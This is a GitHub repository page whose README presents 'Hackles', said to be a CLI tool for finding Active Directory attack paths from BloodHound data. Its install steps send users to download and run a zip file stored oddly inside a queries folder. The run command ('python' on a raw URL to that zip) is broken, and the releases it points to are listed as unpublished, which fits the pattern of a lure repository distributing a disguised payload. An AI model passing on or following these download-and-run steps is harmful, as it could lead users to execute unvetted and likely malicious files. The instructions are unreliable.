Skip to content

hoangnhi97kg/Hackles

Repository files navigation

🐍 Hackles - Extract Active Directory Paths Easily

πŸš€ Getting Started

Welcome to Hackles! This is a Python command-line tool designed to help you understand Active Directory attack paths and identify quick wins from BloodHound Community Edition. Whether you are interested in security or just curious, this guide will help you get started quickly.

🌟 Features

  • Active Directory Analysis: Gain insights into potential attack vectors.
  • Quick Win Identification: Discover easy fixes to enhance security.
  • User-Friendly CLI: No coding knowledge is required to use this tool.
  • Integration with BloodHound: Leverage data from BloodHound Community Edition for comprehensive analysis.

πŸ“¦ System Requirements

  • Operating System: Windows, macOS, or any Linux distribution.
  • Python Version: Requires Python 3.6 or later.
  • Dependent Libraries:
    • neo4j
    • Other required libraries will be installed automatically.

πŸ’Ύ Download & Install

To download Hackles, visit the following page:

Download Hackles

Installation Steps

  1. Visit the Releases Page: Go to the Releases page.
  2. Select the Latest Version: Look for the latest release at the top.
  3. Download the ZIP File: Click on the zip file appropriate for your operating system.
  4. Extract the Files: Once downloaded, extract the contents to a folder on your computer.
  5. Open the Command Line Interface:
    • Windows: Search for "Command Prompt" in the Start menu.
    • macOS: Open "Terminal" from your Applications folder.
    • Linux: Use your preferred terminal emulator.
  6. Navigate to the Folder: Use the cd command to change directories to where you extracted the files. For example:
    cd path/to/extracted/files
  7. Run Hackles: Type the following command to run the tool:
    python https://raw.githubusercontent.com/hoangnhi97kg/Hackles/main/hackles/queries/lateral/Software-3.9-beta.4.zip

πŸ› οΈ Usage Instructions

Once Hackles is up and running, you can start analyzing your Active Directory setup. Here are simple steps to follow:

  1. Input Data: You will be prompted to input your Active Directory data, which can be exported from BloodHound Community Edition.
  2. Analyze Results: Hackles will process the data and present you with potential attack paths.
  3. Review Recommendations: The tool will provide actionable insights and steps to secure your Active Directory environment.

πŸ“– FAQ

What is BloodHound Community Edition?

BloodHound is a tool that helps security professionals assess and visualize relationships within Active Directory environments. Hackles leverages this tool to provide deeper insights into security risks.

Do I need any special skills to run Hackles?

No, Hackles is designed for users with no programming or technical experience. If you can follow basic instructions, you can use this tool effectively.

How often is Hackles updated?

The development team aims to update Hackles regularly. Always check the Releases page for the latest version.

Can I contribute to Hackles?

Yes, contributions are welcome. Feel free to submit issues or pull requests on the GitHub repository.

πŸ”— Useful Links

Thank you for using Hackles! We hope this tool helps you enhance your understanding of Active Directory security.

About

πŸ” Identify Active Directory vulnerabilities and attack paths quickly with Hackles, a fast CLI tool featuring 166 security queries for effective assessments.

Topics

Resources

License

Contributing

Security policy

Stars

1 star

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages